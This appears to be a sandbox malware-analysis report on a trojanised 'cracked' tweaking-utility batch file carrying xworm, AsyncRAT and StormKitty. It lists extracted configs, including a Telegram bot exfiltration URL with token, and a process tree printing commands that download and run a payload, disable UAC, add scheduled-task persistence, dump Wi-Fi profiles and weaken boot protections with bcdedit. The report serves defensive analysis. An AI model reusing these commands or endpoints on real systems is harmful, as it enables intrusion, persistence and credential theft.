asyncrat | 16431cc14917abeb316e0bc44045440a8f86b7ac4fdd0dce99de6435d493ecca

Analysis

max time kernel
194s
max time network
199s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
10-11-2024 12:32

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General

Target

EXM Premium Tweaking Utility 1.0 Cracked.bat
Size

672KB
MD5

f9ca73d63fe61c4c401528fb470ce08e
SHA1

584f69b507ddf33985673ee612e6099aff760fb1
SHA256

16431cc14917abeb316e0bc44045440a8f86b7ac4fdd0dce99de6435d493ecca
SHA512

6fd03320ec84baf09a16a127c2c0ed3c265906fcb1a3b807c13001e775c396b66539238392438a8f290be04b8b8684050736331f8f99dbe8b868b44f154dd9de
SSDEEP

3072:BIGzQbmbkAqA2xH7VkKEn14IZVvisLur+K3:BIGiVNEn14IZVvisL43

Score

10^/10

asyncrat stormkitty xworm default discovery evasion execution persistence privilege_escalation ransomware rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%LocalAppData%
install_file
USB.exe
pastebin_url
https://pastebin.com/raw/ZnhxAV6a
telegram
https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0008000000023c56-76.dat	family_xworm
behavioral1/memory/3056-127-0x0000000000B20000-0x0000000000B4A000-memory.dmp	family_xworm

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0008000000023c57-105.dat	family_stormkitty
behavioral1/memory/2952-132-0x0000000000380000-0x00000000003BE000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x0008000000023c57-105.dat	family_asyncrat

Modifies boot configuration data using bcdedit 1 TTPs 23 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3580	bcdedit.exe
208	bcdedit.exe
3264	bcdedit.exe
4064	bcdedit.exe
544	bcdedit.exe
2748	bcdedit.exe
4532	bcdedit.exe
3860	bcdedit.exe
4584	bcdedit.exe
4024	bcdedit.exe
2008	bcdedit.exe
4680	bcdedit.exe
3504	bcdedit.exe
1196	bcdedit.exe
3028	bcdedit.exe
2352	bcdedit.exe
1428	bcdedit.exe
1140	bcdedit.exe
4588	bcdedit.exe
1172	bcdedit.exe
3908	bcdedit.exe
1280	bcdedit.exe
4088	bcdedit.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	msedge.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	EXMservice.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe

Executes dropped EXE 6 IoCs

pid	Process
864	EXMservice.exe
3056	msedge.exe
2952	svchost.exe
4576	msedge.exe
5104	msedge.exe
1264	msedge.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops desktop.ini file(s) 9 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\2321e0d750ef839fa434216ee564a563\Admin@OFGADUSE_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\2321e0d750ef839fa434216ee564a563\Admin@OFGADUSE_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\2321e0d750ef839fa434216ee564a563\Admin@OFGADUSE_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\2321e0d750ef839fa434216ee564a563\Admin@OFGADUSE_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\2321e0d750ef839fa434216ee564a563\Admin@OFGADUSE_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\2321e0d750ef839fa434216ee564a563\Admin@OFGADUSE_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\2321e0d750ef839fa434216ee564a563\Admin@OFGADUSE_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\2321e0d750ef839fa434216ee564a563\Admin@OFGADUSE_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\2321e0d750ef839fa434216ee564a563\Admin@OFGADUSE_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
43	pastebin.com
44	pastebin.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
59	icanhazip.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1368	powershell.exe
1308	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4780	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4100	cmd.exe
1264	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	svchost.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4780	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3140	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3056	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1368	powershell.exe
1368	powershell.exe
1308	powershell.exe
1308	powershell.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
3056	msedge.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
2952	svchost.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe
3056	msedge.exe

Suspicious use of AdjustPrivilegeToken 50 IoCs

description	pid	Process
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeIncreaseQuotaPrivilege	4752	WMIC.exe
Token: SeSecurityPrivilege	4752	WMIC.exe
Token: SeTakeOwnershipPrivilege	4752	WMIC.exe
Token: SeLoadDriverPrivilege	4752	WMIC.exe
Token: SeSystemProfilePrivilege	4752	WMIC.exe
Token: SeSystemtimePrivilege	4752	WMIC.exe
Token: SeProfSingleProcessPrivilege	4752	WMIC.exe
Token: SeIncBasePriorityPrivilege	4752	WMIC.exe
Token: SeCreatePagefilePrivilege	4752	WMIC.exe
Token: SeBackupPrivilege	4752	WMIC.exe
Token: SeRestorePrivilege	4752	WMIC.exe
Token: SeShutdownPrivilege	4752	WMIC.exe
Token: SeDebugPrivilege	4752	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4752	WMIC.exe
Token: SeRemoteShutdownPrivilege	4752	WMIC.exe
Token: SeUndockPrivilege	4752	WMIC.exe
Token: SeManageVolumePrivilege	4752	WMIC.exe
Token: 33	4752	WMIC.exe
Token: 34	4752	WMIC.exe
Token: 35	4752	WMIC.exe
Token: 36	4752	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4752	WMIC.exe
Token: SeSecurityPrivilege	4752	WMIC.exe
Token: SeTakeOwnershipPrivilege	4752	WMIC.exe
Token: SeLoadDriverPrivilege	4752	WMIC.exe
Token: SeSystemProfilePrivilege	4752	WMIC.exe
Token: SeSystemtimePrivilege	4752	WMIC.exe
Token: SeProfSingleProcessPrivilege	4752	WMIC.exe
Token: SeIncBasePriorityPrivilege	4752	WMIC.exe
Token: SeCreatePagefilePrivilege	4752	WMIC.exe
Token: SeBackupPrivilege	4752	WMIC.exe
Token: SeRestorePrivilege	4752	WMIC.exe
Token: SeShutdownPrivilege	4752	WMIC.exe
Token: SeDebugPrivilege	4752	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4752	WMIC.exe
Token: SeRemoteShutdownPrivilege	4752	WMIC.exe
Token: SeUndockPrivilege	4752	WMIC.exe
Token: SeManageVolumePrivilege	4752	WMIC.exe
Token: 33	4752	WMIC.exe
Token: 34	4752	WMIC.exe
Token: 35	4752	WMIC.exe
Token: 36	4752	WMIC.exe
Token: SeDebugPrivilege	1308	powershell.exe
Token: SeDebugPrivilege	3056	msedge.exe
Token: SeDebugPrivilege	2952	svchost.exe
Token: SeDebugPrivilege	3056	msedge.exe
Token: SeDebugPrivilege	4576	msedge.exe
Token: SeDebugPrivilege	5104	msedge.exe
Token: SeDebugPrivilege	1264	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3056	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5112 wrote to memory of 3740	5112	cmd.exe	84
PID 5112 wrote to memory of 3740	5112	cmd.exe	84
PID 5112 wrote to memory of 4484	5112	cmd.exe	85
PID 5112 wrote to memory of 4484	5112	cmd.exe	85
PID 5112 wrote to memory of 444	5112	cmd.exe	86
PID 5112 wrote to memory of 444	5112	cmd.exe	86
PID 5112 wrote to memory of 1368	5112	cmd.exe	87
PID 5112 wrote to memory of 1368	5112	cmd.exe	87
PID 5112 wrote to memory of 4968	5112	cmd.exe	90
PID 5112 wrote to memory of 4968	5112	cmd.exe	90
PID 5112 wrote to memory of 1760	5112	cmd.exe	91
PID 5112 wrote to memory of 1760	5112	cmd.exe	91
PID 5112 wrote to memory of 1048	5112	cmd.exe	92
PID 5112 wrote to memory of 1048	5112	cmd.exe	92
PID 1048 wrote to memory of 4752	1048	cmd.exe	94
PID 1048 wrote to memory of 4752	1048	cmd.exe	94
PID 1048 wrote to memory of 4852	1048	cmd.exe	95
PID 1048 wrote to memory of 4852	1048	cmd.exe	95
PID 5112 wrote to memory of 3208	5112	cmd.exe	97
PID 5112 wrote to memory of 3208	5112	cmd.exe	97
PID 5112 wrote to memory of 1280	5112	cmd.exe	111
PID 5112 wrote to memory of 1280	5112	cmd.exe	111
PID 5112 wrote to memory of 4176	5112	cmd.exe	112
PID 5112 wrote to memory of 4176	5112	cmd.exe	112
PID 5112 wrote to memory of 1308	5112	cmd.exe	114
PID 5112 wrote to memory of 1308	5112	cmd.exe	114
PID 5112 wrote to memory of 864	5112	cmd.exe	115
PID 5112 wrote to memory of 864	5112	cmd.exe	115
PID 864 wrote to memory of 3056	864	EXMservice.exe	116
PID 864 wrote to memory of 3056	864	EXMservice.exe	116
PID 864 wrote to memory of 2952	864	EXMservice.exe	117
PID 864 wrote to memory of 2952	864	EXMservice.exe	117
PID 864 wrote to memory of 2952	864	EXMservice.exe	117
PID 5112 wrote to memory of 2372	5112	cmd.exe	118
PID 5112 wrote to memory of 2372	5112	cmd.exe	118
PID 3056 wrote to memory of 3140	3056	msedge.exe	121
PID 3056 wrote to memory of 3140	3056	msedge.exe	121
PID 2952 wrote to memory of 4100	2952	svchost.exe	125
PID 2952 wrote to memory of 4100	2952	svchost.exe	125
PID 2952 wrote to memory of 4100	2952	svchost.exe	125
PID 4100 wrote to memory of 4040	4100	cmd.exe	127
PID 4100 wrote to memory of 4040	4100	cmd.exe	127
PID 4100 wrote to memory of 4040	4100	cmd.exe	127
PID 4100 wrote to memory of 1264	4100	cmd.exe	128
PID 4100 wrote to memory of 1264	4100	cmd.exe	128
PID 4100 wrote to memory of 1264	4100	cmd.exe	128
PID 4100 wrote to memory of 1580	4100	cmd.exe	129
PID 4100 wrote to memory of 1580	4100	cmd.exe	129
PID 4100 wrote to memory of 1580	4100	cmd.exe	129
PID 2952 wrote to memory of 912	2952	svchost.exe	130
PID 2952 wrote to memory of 912	2952	svchost.exe	130
PID 2952 wrote to memory of 912	2952	svchost.exe	130
PID 912 wrote to memory of 3988	912	cmd.exe	132
PID 912 wrote to memory of 3988	912	cmd.exe	132
PID 912 wrote to memory of 3988	912	cmd.exe	132
PID 912 wrote to memory of 4340	912	cmd.exe	133
PID 912 wrote to memory of 4340	912	cmd.exe	133
PID 912 wrote to memory of 4340	912	cmd.exe	133
PID 5112 wrote to memory of 4780	5112	cmd.exe	138
PID 5112 wrote to memory of 4780	5112	cmd.exe	138
PID 5112 wrote to memory of 3580	5112	cmd.exe	142
PID 5112 wrote to memory of 3580	5112	cmd.exe	142
PID 5112 wrote to memory of 208	5112	cmd.exe	143
PID 5112 wrote to memory of 208	5112	cmd.exe	143

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EXM Premium Tweaking Utility 1.0 Cracked.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5112
- C:\Windows\system32\reg.exe
  Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "RPSessionInterval" /f
  2⤵
  PID:3740
- C:\Windows\system32\reg.exe
  Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "DisableConfig" /f
  2⤵
  PID:4484
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "SystemRestorePointCreationFrequency" /t REG_DWORD /d 0 /f
  2⤵
  PID:444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Unrestricted -NoProfile Enable-ComputerRestore -Drive 'C:\'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1368
- C:\Windows\system32\reg.exe
  Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
  2⤵
  - UAC bypass
  PID:4968
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\CONSOLE" /v "VirtualTerminalLevel" /t REG_DWORD /d "1" /f
  2⤵
  PID:1760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic path Win32_UserAccount where name="Admin" get sid | findstr "S-"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1048
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path Win32_UserAccount where name="Admin" get sid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4752
- - C:\Windows\system32\findstr.exe
    findstr "S-"
    3⤵
    PID:4852
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:3208
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:1280
- C:\Windows\system32\curl.exe
  curl -g -k -L -# -o "C:\Users\Admin\AppData\Local\Temp\exm.zip" "https://github.com/anonyketa/EXM-Tweaking-Utility-Premium/releases/download/V1.0/exm.zip"
  2⤵
  PID:4176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile Expand-Archive 'C:\Users\Admin\AppData\Local\Temp\exm.zip' -DestinationPath 'C:\Exm\'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1308
- C:\exm\EXMservice.exe
  EXMservice.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:864
- - C:\Users\Admin\msedge.exe
    "C:\Users\Admin\msedge.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3056
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Local\msedge.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3140
- - C:\Users\Admin\svchost.exe
    "C:\Users\Admin\svchost.exe"
    3⤵
    - Executes dropped EXE
    - Drops desktop.ini file(s)
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2952
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Wi-Fi Discovery
      Suspicious use of WriteProcessMemory
      PID:4100
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4040
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1264
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1580
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:912
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3988
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:4340
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:2372
- C:\Windows\system32\PING.EXE
  ping ping-nae.ds.on.epicgames.com -n 25
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:4780
- C:\Windows\system32\bcdedit.exe
  bcdedit /set configaccesspolicy default
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3580
- C:\Windows\system32\bcdedit.exe
  bcdedit /set MSI default
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:208
- C:\Windows\system32\bcdedit.exe
  bcdedit /set usephysicaldestination no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4064
- C:\Windows\system32\bcdedit.exe
  bcdedit /set usefirmwarepcisettings no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3264
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue useplatformtick
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:544
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue useplatformclockJ
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2748
- C:\Windows\system32\bcdedit.exe
  bcdedit /set disabledynamictick yes
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4532
- C:\Windows\system32\bcdedit.exe
  bcdedit /set tscsyncpolicy legacy
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3860
- C:\Windows\system32\bcdedit.exe
  bcdedit /set x2apicpolicy enable
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4584
- C:\Windows\system32\bcdedit.exe
  bcdedit /set ems no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4024
- C:\Windows\system32\bcdedit.exe
  bcdedit /set bootems no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2008
- C:\Windows\system32\bcdedit.exe
  bcdedit /set vm no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4680
- C:\Windows\system32\bcdedit.exe
  bcdedit /set sos no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3504
- C:\Windows\system32\bcdedit.exe
  bcdedit /set quietboot yes
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1196
- C:\Windows\system32\bcdedit.exe
  bcdedit /set integrityservices disable
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3028
- C:\Windows\system32\bcdedit.exe
  bcdedit /set bootux disabled
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2352
- C:\Windows\system32\bcdedit.exe
  bcdedit /set bootlog no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1428
- C:\Windows\system32\bcdedit.exe
  bcdedit /set tpmbootentropy ForceDisable
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1140
- C:\Windows\system32\bcdedit.exe
  bcdedit /set disableelamdrivers yes
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4588
- C:\Windows\system32\bcdedit.exe
  bcdedit /set hypervisorlaunchtype off
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1172
- C:\Windows\system32\bcdedit.exe
  bcdedit /set isolatedcontext no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3908
- C:\Windows\system32\bcdedit.exe
  bcdedit /set pae ForceDisable
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1280
- C:\Windows\system32\bcdedit.exe
  bcdedit /set vsmlaunchtype off
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4088

C:\Users\Admin\AppData\Local\msedge.exe
C:\Users\Admin\AppData\Local\msedge.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4576

C:\Users\Admin\AppData\Local\msedge.exe
C:\Users\Admin\AppData\Local\msedge.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5104

C:\Users\Admin\AppData\Local\msedge.exe
C:\Users\Admin\AppData\Local\msedge.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\2321e0d750ef839fa434216ee564a563\Admin@OFGADUSE_en-US\Browsers\Firefox\Bookmarks.txt

Filesize
105B

MD5
2e9d094dda5cdc3ce6519f75943a4ff4

SHA1
5d989b4ac8b699781681fe75ed9ef98191a5096c

SHA256
c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

SHA512
d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

Download Submit
C:\Users\Admin\AppData\Local\2321e0d750ef839fa434216ee564a563\Admin@OFGADUSE_en-US\System\Process.txt

Filesize
4KB

MD5
c2c1415a1313baf251548a03a1089520

SHA1
eb2204d0778e37a64f5f5fde7401a50888b4e622

SHA256
04f50849547d6e3fc6f6c14eb7fe80ae7d5a4209a2d7365d5acc5a1822eb4c72

SHA512
6e1e97309fa172fba0437787cf58d791094420181cd1b7df2515312140b48deca8276a9d0a78e21464b52ae2e3d12d9c335cfd7ecf79fd11079960a9e5117962

Download Submit
C:\Users\Admin\AppData\Local\577292e6bdb2776c512541cdca708ce0\msgid.dat

Filesize
5B

MD5
94bddeede555c3652395a95e03ba7f91

SHA1
75338436f0881874774a72611e865915105c09e3

SHA256
57ef35da60f793aeb10ae3848ebdd154aad9f5b7bd6abafc96831b94a1dfe81f

SHA512
